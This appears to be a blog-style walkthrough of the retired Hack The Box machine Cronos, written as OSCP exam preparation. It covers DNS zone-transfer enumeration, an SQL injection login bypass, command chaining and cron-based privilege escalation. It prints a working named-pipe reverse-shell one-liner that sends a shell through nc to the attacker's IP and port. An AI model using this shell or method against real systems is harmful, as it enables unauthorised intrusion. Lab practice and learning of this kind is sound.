Road to OSCP: HTB Series: Cronos Writeup

Louis Low
6 min readNov 4, 2020
Cronos Medium Box (Linux OS) by Hack The Box

In my road to OSCP certification, one of the common to-dos as many before me have done in preparation for the exams was to take on the retired machines available in Hack in The Box (HTB) platform. This platform is a great platform for practicing and learning new penetration testing skills as well as taking on the challenge of “capturing the flag” on their machines.

In this HTB series, I will be sharing my write-ups on all the retired machines that I have and will attempt. If you are wondering, “How does he know which machine to do to prepare for OSCP?” Well, I am using TjNull list of OSCP-like boxes in HTB which can be found here

This box was fun. We had to play around to find some subdomains and perform some DNS enumeration in order to find the actual surface to attack. The initial foothold require some SQL Injection to bypass a login page and to get the shell from there require some chaining of command in bash. The hint for Privilege Escalation was found in the name of the box (CRONos). A bit of information gathering and workaround with the Cron misconfigurations to own this machine.

Recon Phase

To begin with this box, we first carry out our basic Reconnaissance. For me, I used AutoRecon which is developed and scripted by Tib3rius. It is one of my fundamental scans I make before moving on to more manual enumeration for specific ports or applications. From the full port Nmap scan results done by AutoRecon:

Result of Full Port Scan with Nmap

Here we identify 3 ports open that maybe of interest to us: Port 22, Port 53 and Port 80. Port 53 open here could be for DNS Resolution which could possibly mean that this might be a DNS Server that we are dealing with. Port 80 indicates that there is a HTTP web server running on this machine

Information Gathering

Initial information gathering on Port 80:

Home page of 10.10.10.13

Seems like Apache2 Ubuntu home page by default. Looking through our Nikto and GoBuster result does not seem to yield anything interesting. We hit a wall pretty early in the game.

After several attempts on different things including looking at the source code on this page, I recalled a box that I did before that had to deal with the /etc/hosts file on our kali machine. This could be something to do with the DNS! We do a quick nslookup:

Output of Nslookup

Adding cronos.htb to the /etc/hosts file:

Modifying /etc/hosts file

Then browsing cronos.htb :

We see a different page when we try to access cronos.htb in the URL of the browser

We then run another GoBuster scan here:

Output of Initial GoBuster Scan

Here we see several interesting folder and web file we can try to access. However, even after checking through all these new files, we soon hit the wall again. Thinking back on how the DNS port is open, maybe this has something to do with the DNS. Attempting a DNS Zone Transfer:

Output of DNS Zone Transfer — Finding other subdomains

admin.cronos.htb seems interesting. We can add this into our /etc/hosts file and browse to this!

An Actual Login Page!

Tried default combination of usernames and passwords but it did not really work out. Had to think on my feet a little and I attempted SQL Injection in an attempt to bypass authentication.

Attempting SQL Injection to bypass Authentication

And we are in:

After successful attempt of SQLi Authentication Bypass

If we click on the execute:

Output after pressing the execute button

We see that it has executed a bash command ping when we click execute. Hence with this, we want to see if it is possible to chain the command execution here to gain arbitrary command execution on the machine:

Command Chaining works! We see who we are running the command as.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 4444 >/tmp/f

Chaining the command above with our listener we will then obtain shell:

We receive a shell on our listener on port 4444

Upgrading our shell and is able to grab our user.txt flag (not shown):

Shell successfully upgraded using python

Privilege Escalation

Information Gathering

Setting up our Python http server to prepare to transfer our enumeration script over and then giving execute permission to script:

Grabbing linpeas.sh

After running the script, one interesting finding in the result is this:

Our enumeration script pick up a scheduled task that is of interest

There is a command that is being run with Cron and it is executing a PHP script that is found in the /var/www/laravel directory as root. Navigating to this directory, we check and found out that we own the artisan file and we have write permission to this file. We can simply overwrite this file to get it to run the arbitrary commands we want it to run as root.

Permission of artisan

Exploitation

Overwriting artisan :

Overwriting artisan with a reverse shell command execution to our attacking machine

Setting up our listener on the port specified in our payload and then waiting for the Cron to run the script that we have modified:

After waiting for a while, we see that our listener got a shell from the victim machine

Upgrading the shell:

Upgrading the root shell we obtained

Grabbing the flag root.txt :

We have successfully owned this machine! Hurray!

Learning Points

This machine taught me and reminded me to learn to enumerate for everything! I was really stuck whenever I could not proceed because my gobuster result or my nikto result were not giving me anything. However, I needed to try harder and to use everything that was taught during PWK. Through this, I understood the need to conduct DNS enumeration and how that enumeration could actually help us find new attack surfaces in order to advance in our journey to own this machine. On the new attack surface that I found for this machine, it also highlighted the importance of sanitisation on input for fields as the lack of sanitisation was what allowed me to bypass the authentication process.

The privilege escalation highlights that we should never run scheduled tasks as root unless necessary and that the script or file that we wish to run as root should be owned by root and permissions for that file should be configured appropriately.

Thank you for reading! And like always if you enjoy this write-ups, subscribe to my publications or follow me on twitter @lojomojo96 and hit me up with a DM! It will really encourage me to write and share even as I prepare for my OSCP Certification. Of course, if there are points to improve upon my own methodology, do let me know too! You can also find me on LinkedIn as well!

https://twitter.com/lojomojo96

https://www.linkedin.com/in/louis-joshua-low/

--

--

Louis Low

Security Engineer by Day | Security Researcher by Night | Bug Bounty Hunting